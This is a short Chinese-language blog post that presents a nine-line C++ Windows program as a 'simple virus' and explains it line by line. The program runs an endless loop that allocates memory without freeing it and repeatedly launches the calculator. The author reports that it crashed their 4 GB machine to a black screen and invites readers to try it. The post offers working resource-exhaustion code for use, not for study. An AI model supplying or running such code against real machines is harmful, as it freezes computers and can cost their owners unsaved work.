#include<iostream>

#include<stdio.h>

#include<windows.h>

#include<stdlib.h>

int main(int argc, char** argv) {

while (1) {

malloc(0x100000);

WinExec("calc",SW_NORMAL); }

return 0; }

 

將以上的程式碼貼到C++的IDE中進行編譯

就可以做出一個非常簡單的病毒

關於C++的IDE我自己是用DEV-C++

需要的話可以到這裡進行下載     DEV-C++ 攜帶版 好用的C++編譯軟體

 

先來解釋一下程式碼內容:

程式碼只有九行

前面四行#include開頭的是導入會用到的標頭檔

第六行的while(1)是為了不斷重複執行

第七行的malloc(0x100000)是命令系統分配出1M的記憶體

第八行的WinExec("calc",SW_NORMAL)是開啟計算機

 

因為已經設定了循環

程式執行之後會在一瞬間分配出大量記憶體

而且又不斷地開啟計算機

所以就會直接當機

我的電腦搭載4G的記憶體也是在一瞬間就耗完了

CPU使用率也是高達100%

然後就直接黑屏了

有興趣的朋友可以自己試試看

 

 

 

arrow
arrow
    文章標籤
    C++ 病毒 malloc
    全站熱搜

    s1248553342 發表在 痞客邦 留言(0) 人氣()